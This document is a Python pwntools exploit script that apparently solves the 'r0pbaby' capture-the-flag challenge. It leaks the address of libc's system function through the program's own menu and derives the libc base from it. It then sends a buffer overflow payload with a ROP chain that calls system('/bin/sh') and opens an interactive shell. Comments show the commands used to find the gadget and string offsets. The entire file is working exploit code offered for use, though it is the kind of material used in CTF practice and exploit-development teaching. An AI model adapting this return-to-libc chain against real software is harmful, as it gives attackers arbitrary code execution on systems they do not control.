from pwn import *

p = process('./r0pbaby_542ee6516410709a1421141501f03760')

context(os = "linux", arch = "amd64")

junk = "\x41" * 8

# ROPgadget --binary libc.so.6 > gadgets.txt
# cat gadgets.txt | grep "pop rdi ; ret"
pop_rdi_ret = 0x23a5f

# readelf -s libc.so.6 | grep system
system_offset = 0x44c50

# strings -a -t x libc.so.6 | grep "/bin/sh"
sh_offset = 0x181519


# Grab system addr from binary option 2
p.sendline("2")
p.sendlineafter("symbol: ", "system")
system = long(p.recvline_startswith("Symbol")[-18:].lower(),16)
log.success("System addr: " + str(hex(system)))

base_libc = system - system_offset
log.success("Base_libc: " + str(hex(base_libc)))

# ROP chain
pop_rdi_final = p64(pop_rdi_ret + base_libc)
sh_final = p64(sh_offset + base_libc)
system = p64(system)


payload = junk + pop_rdi_final + sh_final + system

p.sendlineafter(": ", "3")
p.sendlineafter(": ", str(len(payload)))
p.sendline(payload)

p.interactive()
